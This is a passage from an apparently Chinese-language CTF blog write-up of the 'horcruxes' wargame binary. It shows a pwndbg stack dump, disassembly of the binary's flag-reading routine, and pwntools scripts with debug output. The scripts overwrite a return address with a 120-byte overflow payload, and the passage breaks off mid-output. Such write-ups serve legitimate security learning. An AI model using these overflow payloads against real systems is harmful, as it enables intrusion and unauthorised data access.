  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>函数给了ORW代码，所以我写rop链就好了，栈：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack 40
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ esp 0xffffda90 —▸ 0xffffdaa4 ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0004│-084 0xffffda94 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0008│-080 0xffffda98 —▸ 0xffffdb18 —▸ 0xffffdb38 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:000c│-07c 0xffffda9c —▸ 0x804154a (ropme+63) ◂— mov edx, dword ptr [ebp - 0x10]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0010│-078 0xffffdaa0 —▸ 0x8046280 ◂— 0x8046
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0014│ eax 0xffffdaa4 ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0018│-070 0xffffdaa8 ◂— 0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:001c│-06c 0xffffdaac —▸ 0x8046280 ◂— 0x8046
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">08:0020│-068 0xffffdab0 ◂— 0x3c /* &#39;&lt;&#39; */
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">09:0024│-064 0xffffdab4 ◂— 1
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0a:0028│-060 0xffffdab8 ◂— 0
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0b:002c│-05c 0xffffdabc ◂— 0x10451a0
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0c:0030│-058 0xffffdac0 —▸ 0xf7f92adb ◂— add ebx, 0x1e525
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">0d:0034│-054 0xffffdac4 —▸ 0xf7f9339c ◂— add ebx, 0x1dc64
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0e:0038│-050 0xffffdac8 —▸ 0x8046280 ◂— 0x8046
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0f:003c│-04c 0xffffdacc ◂— 0x3b7f9b00
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">10:0040│-048 0xffffdad0 ◂— 0
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">11:0044│-044 0xffffdad4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">12:0048│-040 0xffffdad8 —▸ 0xf7f92e6d ◂— add ebx, 0x1e193
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">13:004c│-03c 0xffffdadc —▸ 0xf7fb1000 ◂— 0x20ef0
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">14:0050│-038 0xffffdae0 —▸ 0x80451a0 ◂— 0xa1b2c3d4
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">15:0054│-034 0xffffdae4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">16:0058│-030 0xffffdae8 —▸ 0xffffdb38 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">17:005c│-02c 0xffffdaec —▸ 0xf7f91c54 (seccomp_load+84) ◂— add esp, 0x10
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">18:0060│-028 0xffffdaf0 —▸ 0x80451a0 ◂— 0xa1b2c3d4
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">19:0064│-024 0xffffdaf4 ◂— 0
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">1a:0068│-020 0xffffdaf8 —▸ 0xf7fb1000 ◂— 0x20ef0
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">1b:006c│-01c 0xffffdafc —▸ 0x8043f90 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8043e90 (_DYNAMIC) ◂— 1
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">1c:0070│-018 0xffffdb00 —▸ 0xf7f91c0b (seccomp_load+11) ◂— add ebx, 0x1f3f5
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">1d:0074│-014 0xffffdb04 —▸ 0x8043f90 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8043e90 (_DYNAMIC) ◂— 1
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">1e:0078│-010 0xffffdb08 ◂— 1
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">1f:007c│-00c 0xffffdb0c —▸ 0x80414f9 (main+254) ◂— add esp, 0x10
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="go">20:0080│-008 0xffffdb10 —▸ 0x80451a0 ◂— 0xa1b2c3d4
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">21:0084│-004 0xffffdb14 —▸ 0x8043f90 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8043e90 (_DYNAMIC) ◂— 1
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">22:0088│ ebp 0xffffdb18 —▸ 0xffffdb38 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">23:008c│+004 0xffffdb1c —▸ 0x8041501 (main+262) ◂— lea esp, [ebp - 8]
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">24:0090│+008 0xffffdb20 —▸ 0xffffdb60 —▸ 0xf7f85000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">25:0094│+00c 0xffffdb24 —▸ 0xf7fbe95c —▸ 0xf7ffdba0 —▸ 0xf7fbea94 —▸ 0xf7ffda40 ◂— ...
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="go">26:0098│+010 0xffffdb28 —▸ 0xf7fbeec0 —▸ 0xf7d75cc6 ◂— &#39;GLIBC_PRIVATE&#39;
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">27:009c│+014 0xffffdb2c —▸ 0x80451a0 ◂— 0xa1b2c3d4
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>ORW的汇编：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">.text:08041625 ; 44:       fd = open(&#34;/home/horcruxes_pwn/flag&#34;, 0);
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">.text:08041625                 sub     esp, 8
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">.text:08041628                 push    0               ; oflag
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">.text:0804162A                 lea     eax, (aHomeHorcruxesP - 8043F90h)[ebx] ; &#34;/home/horcruxes_pwn/flag&#34;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">.text:08041630                 push    eax             ; file
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">.text:08041631                 call    _open
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">.text:08041636                 add     esp, 10h
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">.text:08041639                 mov     [ebp+fd], eax
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">.text:0804163C ; 45:       s[read(fd, s, 0x64u)] = 0;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">.text:0804163C                 sub     esp, 4
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">.text:0804163F                 push    64h ; &#39;d&#39;       ; nbytes
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">.text:08041641                 lea     eax, [ebp+s]
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">.text:08041644                 push    eax             ; buf
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">.text:08041645                 push    [ebp+fd]        ; fd
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">.text:08041648                 call    _read
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">.text:0804164D                 add     esp, 10h
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">.text:08041650                 mov     [ebp+eax+s], 0
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">.text:08041655 ; 46:       puts(s);
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">.text:08041655                 sub     esp, 0Ch
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">.text:08041658                 lea     eax, [ebp+s]
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">.text:0804165B                 push    eax             ; s
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">.text:0804165C                 call    _puts
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">.text:08041661 ; 47:       close(fd);
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">.text:08041661                 add     esp, 10h
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">.text:08041664                 sub     esp, 0Ch
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">.text:08041667                 push    [ebp+fd]        ; fd
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">.text:0804166A                 call    _close
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">.text:0804166F ; 48:       exit(0);
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">.text:0804166F                 add     esp, 10h
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">.text:08041672                 sub     esp, 0Ch
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">.text:08041675                 push    0               ; status
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">.text:08041677                 call    _exit
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>可以看到是连续的，那我跳到open就可以了，但是一直不行：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">horcruxes@ubuntu:~$ cat /tmp/ho/exp.py 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">from pwn import *
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">context.log_level= &#39;debug&#39;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">orw = 0x08041625
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">payload = b&#39;K&#39; * 120 + p32(orw)
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">io = process(&#39;./horcruxes&#39;)
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">io.sendlineafter(b&#39;Select Menu:&#39;,str(1).encode())
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">io.sendlineafter(b&#39;? :&#39;,payload)
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="gp">#</span> print<span class="o">(</span>io.recv<span class="o">()</span>.decode<span class="o">())</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">io.interactive()
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">horcruxes@ubuntu:~$ python /tmp/ho/exp.py 
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">[+] Starting local process &#39;./horcruxes&#39; argv=[b&#39;./horcruxes&#39;] : pid 584685
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">[DEBUG] Received 0x6b bytes:
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    b&#39;Voldemort concealed his splitted soul inside 7 horcruxes.\n&#39;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">    b&#39;Find all horcruxes, and destroy it!\n&#39;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">    b&#39;\n&#39;
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">    b&#39;Select Menu:&#39;
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">[DEBUG] Sent 0x2 bytes:
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">    b&#39;1\n&#39;
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">[DEBUG] Received 0x1f bytes:
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">    b&#39;How many EXP did you earned? : &#39;
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">[DEBUG] Sent 0x7d bytes:
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">    00000000  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  4b 4b 4b 4b  │KKKK│KKKK│KKKK│KKKK│
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">    *
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">    00000070  4b 4b 4b 4b  4b 4b 4b 4b  25 16 04 08  0a           │KKKK│KKKK│%···│·│
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">    0000007d
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">[*] Switching to interactive mode
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go"> [DEBUG] Received 0x33 bytes:
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">    b&#34;You&#39;d better get more experience to kill Voldemort\n&#34;
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">You&#39;d better get more experience to kill Voldemort
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">[*] Got EOF while reading in interactive
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>而跳转abcd函数却可以：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">horcruxes@ubuntu:~$ cat /tmp/ho/exp.py 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">from pwn import *
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">context.log_level= &#39;debug&#39;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">orw = 0x0804129D
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">payload = b&#39;K&#39; * 120 + p32(orw)
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">io = process(&#39;./horcruxes&#39;)
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">io.sendlineafter(b&#39;Select Menu:&#39;,str(1).encode())
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">io.sendlineafter(b&#39;? :&#39;,payload)
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="gp">#</span> print<span class="o">(</span>io.recv<span class="o">()</span>.decode<span class="o">())</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">io.interactive()
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">horcruxes@ubuntu:~$ python /tmp/ho/exp.py 
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">[+] Starting local process &#39;./horcruxes&#39; argv=[b&#39;./horcruxes&#39;] : pid 586202
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">[DEBUG] Received 0x5e bytes:
